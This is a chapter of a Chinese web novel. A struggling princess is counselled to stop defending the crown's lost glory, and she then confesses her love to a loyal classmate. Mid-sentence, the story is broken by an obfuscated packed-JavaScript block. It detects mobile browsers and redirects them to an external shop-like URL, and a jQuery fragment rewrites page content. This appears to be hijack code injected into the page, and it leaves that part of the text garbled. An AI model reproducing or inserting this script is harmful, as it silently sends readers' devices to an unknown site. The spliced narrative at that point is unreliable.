施雅最后看了一眼手机屏幕上编辑好的信息,指尖悬在发送键上。
她深吸一口气,按下发送。
收件人:贺兰烯。
信息内容只有一个简单的定位和两个字:【等我】。
她拉开车门,目的地明确——警局。
度假的时光结束了,该面对了。
巨大的水晶吊灯亮得刺眼,照着长桌上堆积如山的文件,触目惊心的赤字报告、措辞强硬的债权人函,煽动性的抗议剪报。
女皇疲惫地揉着额角,她的对面,公主皇甫瑶儿,皇室这一代唯一的、也是最后的合法继承者。
但她年纪太轻,面前摊开的仅仅是一份关于削减皇室开支、剥夺尊严的方案,她也慌张的不得了。
“母亲,我们不能再固守这些陈规了!”皇甫瑶儿努力维持着冷静,“我们必须改革,开源节流,赢得民众……”
“改革?拿什么改?!”女皇猛地一拍桌子,文件哗啦散落一地。
她眼中布满血丝,对这个女儿失望透顶,“皇甫瑶儿!收起你那套不切实际的学生论调!你以为你是谁?靠你自己那些天真的想法就能力挽狂澜?还是靠你费尽心机去接近那个伏苏家的继承者?”
“为何是你成为继承者,你扪心自问你配吗?你能带领我们走向辉煌吗?你给我记住,你的责任就是不惜一切代价保住你的名字,皇甫氏的荣耀!”
就在这时,议事厅的大门被毫不客气地推开。
皇甫瑶儿最厌恶的姨妈,带着她那永远带着虚伪笑容的儿子贺兰默走了进来。
“哎呀,我亲爱的姐姐,还有我们尊贵的公主殿下。”她的声音甜腻,幸灾乐祸道,“看来情况比传闻中更糟啊?真是令人揪心。我们特意过来看看,有没有什么…力所能及的地方能帮上忙?”
“要知道,阿默很得他父亲器重呢。”
贺兰默装模作样地鞠躬,接上他母亲的话:“是啊表妹,皇室血脉凋零至此,真是令人痛心。不过,母亲说得对,我们毕竟是一家人。若有需要,我这个男丁,或许还能为家族分担些…重担?”
他就是有一种天真,认为就算大厦将倾,他也可以因为这个姓氏活得很好很好。
“滚出去!”皇甫瑶儿怒吼。
她毫不在意地耸耸肩,拉着贺兰默施施然离开,留下一串刺耳的笑声。
门关上的瞬间,皇甫瑶儿身体晃了晃,扶住冰冷的椅背才没有倒下。
她是唯一的继承者,却像一个被架在火上烤的祭品,无力回天。
皇甫瑶儿甚至都不知道自己还能奉献什么,她的心吗?她的躯壳吗?
可是她不愿意,她不想成为那个背叛自己的小人。
她立马想起一个名字,贺兰烯。
皇甫瑶儿几乎是跑进来的,定制校服裙摆被她自己绊了一下,差点摔倒。
精心打理的头发散乱,额角是细密的汗珠,眼圈通红。
她看到安静坐在藤椅上看书的贺兰烯,脚步顿住,一时有些犹豫不决。
“贺兰烯…你知道了对不对?你在这里等我。”
她努力想保持仪态,眼睛里却早已蓄满泪水,“我知道这很可笑,很厚颜无耻。皇室已经是个笑话了,腐败、僵化,摇摇欲坠…”
她深吸一口气,泪水终于滚落,“可这是我的姓氏,是我的责任,从我懂事起,我就被教导,我的生命就是为了它,为了不让它在我手里彻底消亡,我宁愿…宁愿背负所有的骂名,我别无选择!我不能…对不起先组。”
“我知道,只有你有能力帮我了。”
贺兰烯合上书,平静地看着她。
眼前的皇甫瑶儿,不再是那个高高在上的公主,而是一个被责任勒得快要窒息、走投无路的女孩。
等那阵剧烈的抽噎稍稍平息,贺兰烯才开口:
“皇甫瑶儿。”她直接叫了她的名字,“告诉我,如果你明天就顺利加冕,成为女皇。你最想立刻着手去做的事情,是什么?”
皇甫瑶儿的泪水还挂在脸上,眼睛里却瞬间迸发出一种光芒,如果是以前,她大概会脱口而出一堆利于皇室的条文。
经过这次任务后,她更加没有了思考的间隙:
“像我们的先辈一样。”
她的语速飞快,“我知道这很难,我落下了太多太多,一直耽于玩乐,但我……”
“这些事。”贺兰烯打断她,“只有顶着‘女皇’的头衔,才能开始做吗?”
皇甫瑶儿眼中的灼热光芒凝固,然后一点点被迷茫取代。
“有这些想法的人,这个世界上,会只有你皇甫瑶儿一个吗?”贺兰烯站起身,走到她面前。
“无论他们是继承者、议员、企业家、教师,还是一个普通的社区工作者。‘想’,每个人都可以天马行空。但‘做’呢?”
“空谈理想太容易了。在漫长或短暂的人生里,被现实磋磨、被利益诱惑,最终将初心遗忘在角落的人,数不胜数。区别就在于…”
贺兰烯的声音加重,“是否真的迈出脚步去做,能一直在这条道路上走下去。至少,不看结果如何,只论起点,你的眼界,你所受的教育,你天然接触到的世界格局和顶尖资源,甚至你本身拥有的影响力……这些,是多少怀揣理想的人奋斗终生也难以企及的台阶。”
“就算是皇室即将没落,就算它之后什么都不是,你也有了很多人想取而代之的二十年,这些资源都是他们可以用来做事的、实实在在的工具!”
贺兰烯伸出手,轻轻放在皇甫瑶儿因为激动和寒冷而微微颤抖的肩上。
“公主是你的头衔,皇室是你的出身。但皇甫瑶儿——”
“你,首先是你自己,一个有能力、有想法,有热忱的个体,别再想着挽回那些早已腐朽的荣光了。向前看,用皇甫瑶儿这个人本身的力量,去实现你的理想,你也将会成为你自己的骄傲。”
“用我自己…向前看?”皇甫瑶儿喃喃自语,仿佛第一次理解这几个字的含义。
那根名为“责任”,将她捆缚在沉船桅杆上的绳索,在贺兰烯铿锵有力的话语下,骤然崩断。她挣脱了枷锁,看到了另一条承担的方式,以“皇甫瑶儿”之名,而非“公主”之衔。
一声压抑的悲鸣冲破喉咙,紧接着是彻底崩溃的嚎啕。
皇甫瑶儿的身体像被抽掉了所有骨头,向前扑倒。不再是公主的仪态,只是一个被重担压垮、委屈无助的孩子。
贺兰烯温柔地接住了她。
她双手攥住贺兰烯的外套,哭得撕心裂肺,全身都在无法控制地抽搐。
贺兰烯没有说话,只是用一只手环住她颤抖的肩膀,另一只手轻轻地地拍着她的背。
她说:“皇甫瑶儿,不要害怕,以后的路上你永远不会是一个人。”
哭声渐渐低弱,变成断断续续的抽噎。
贺兰烯松开她,从随身的帆布包里拿出一封素雅信封,轻轻放在皇甫瑶儿的手心。
“这个,是施雅让我务必亲手交给你的。”贺兰烯的声音很轻,“她说,你看完就懂了。”
皇甫瑶儿低头,看着信封上没有任何署名的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222198|178638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空白。
她吸了吸鼻子,拆开封口,取出里面的信纸。
之后,她离开了。
*
“瑶儿!”花房的门被撞开。
端木麟冲了进来,他显然是一路狂奔而来。他一眼就看到了皇甫瑶儿红肿的双眼,未干的泪痕和她手中紧握的信纸,心猛地一沉。
“殿下!”他冲到皇甫瑶儿面前,甚至忘了礼节,急切地仰头望着她,“发生什么了?别怕!告诉我!无论……”
皇甫瑶儿睁开眼,看向端木麟。
“端木麟。”她声音沙哑,“我没事,或者说,我终于知道,我该做什么了。”
“对不起,一直以来,我都在利用你。利用你的忠诚,利用你的真心,去达成我的目的。我糟践了最不该被辜负的东西,真的非常对不起。”
“我没有告诉过你,我也喜欢你吧?”
端木麟加完全僵住了,半跪的姿势凝固在那里,他看着皇甫瑶儿,嘴唇翕动,却发不出任何声音。
皇甫瑶儿看着他呆滞的模样,嘴角微微弯起一个弧度。
她轻声问:
“端木麟,你还记得,我们第一次见面吗?在学院里。”
他怎么可能忘记?
学院,午后僻静的林荫道转角。
初来乍到的少年端木麟,穿着还不太合身的学院制服,沉默得像一抹影子。
他靠在一棵大树下,低着头,摆弄着手中的飞行器模型。
几个衣着光鲜的学生嬉闹着经过,故意撞了他一下。
端木麟踉跄后退,低着头,一言不发。
他觉得这没有什么可理会的,对他而言,这造不成任何伤害。
直到一只运动鞋故意踢开了他的模型。
哄笑声响起。
突然,一个穿着精致学院裙的身影风风火火地冲了过来。
她二话不说,直接伸手,一把将那个男生推开,“喂!你们干什么!居然在我的眼皮子底下欺负新生?”
然后她捡起模型,径直走到他面前。
她变戏法似的从身后拿出一个用简单丝带扎着的小纸盒,不由分说地塞进端木麟下意识抬起的手中。
纸盒温热,边缘沾着点点白色的面粉。
她笑着说:“送给你了,我新做的蛋糕。”
他愕然抬头。
皇甫瑶儿叉着腰,对着那群愣住的男生,声音清脆响亮:“你们看什么看?没看见人家在难过吗?再欺负人,我就告诉主任你们上次在实验室干的好事!还不快走?”
端木麟呆呆地抱着那个温热、沾着面粉的蛋糕盒,看着少女转身离去的背影,忘记了悲伤,只觉得心脏在陌生的狂跳,耳根烧得滚烫。
当时的他还不明白什么叫做喜欢,他只是想,如果下次下次下下次还能见到她,那就是他今日许下的生日愿望了。
“当然记得。”
他依旧半跪着,仰望着她,目光深邃专注,“那天……你塞给我一块热乎乎的蛋糕。”他嘴角弯起,“虽然烤得有点糊。”
皇甫瑶儿看着他那双盛满温柔和爱意的眼睛,像一个终于解开了困扰自己许久的谜题,轻声问:
“那…你为什么还会喜欢上后来的我?” 那个满心算计、骄纵无礼,试图利用你的公主?
端木麟没有移开目光,他的笑容温暖而包容。
他伸出手,用指腹擦去她脸颊上那滴晶莹的泪珠。
“因为在我眼里…”
“你从来都是那个样子。”
从未改变。